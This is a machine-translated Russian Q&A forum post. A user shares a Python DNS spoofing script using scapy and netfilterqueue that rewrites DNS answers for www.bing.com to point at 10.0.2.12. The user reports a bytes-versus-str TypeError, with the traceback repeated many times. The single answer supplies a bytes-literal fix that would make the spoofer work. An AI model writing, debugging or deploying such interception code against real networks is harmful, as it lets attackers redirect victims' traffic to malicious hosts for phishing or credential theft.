using Python 3 Требуется объект, подобный байту, а не str "Я пытался преобразовать его в байты, но он все равно дает мне ту же ошибку - PullRequest
0 голосов
/ 09 мая 2020

import netfilterqueue import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        website = 'www.bing.com'

        if website in qname:
            print("[+] Spoofing ")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.12")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet))
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

Исключение игнорируется в: 'netfilterqueue.global_callback' Traceback (последний вызов последним): файл «dns_spoofer.py», строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется объект, похожий на байты, а не исключение 'str', игнорируемое в: 'netfilterqueue.global_callback' Traceback (последний вызов последним): файл «dns_spoofer.py», строка 9, в process_packet если веб-сайт в qname: TypeError: требуется объект, похожий на байты, а не 'str'. Исключение игнорируется в: 'netfilterqueue.global_callback' Traceback (последний вызов последним): файл «dns_spoofer.py», строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется объект, подобный байтам, а не исключение 'str', игнорируемое в: 'netfilterqueue.global_callback' Traceback (последний вызов последним): файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт находится в qname : TypeError: требуется объект, подобный байтам, а не исключение 'str', игнорируемое в: 'netfilterqueue.global_callback' Traceback (последний вызов последний): файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется объект, подобный байтам, а не исключение 'str', игнорируемое в: 'netfilterqueue.global_callback' Traceback (большинство последний вызов последним): файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется байтовый объект, а не 'str' Исключение игнорируется в: 'netfilterqueue.global_callback' Traceback (последний вызов last): файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется байтовый объект, а не 'str'. Исключение игнорируется в: 'netfilterqueue.global_callback' Traceback (последний вызов последний) : Файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется байтовый объект, а не 'str' ^ CTraceback (последний вызов последним): Файл "dns_spoofer.py", строка 25 , в queue.run () KeyboardInterrupt

1 Ответ

1 голос
/ 09 мая 2020

Попробуйте website = b'www.bing.com'. b делает его байтовым литералом.

...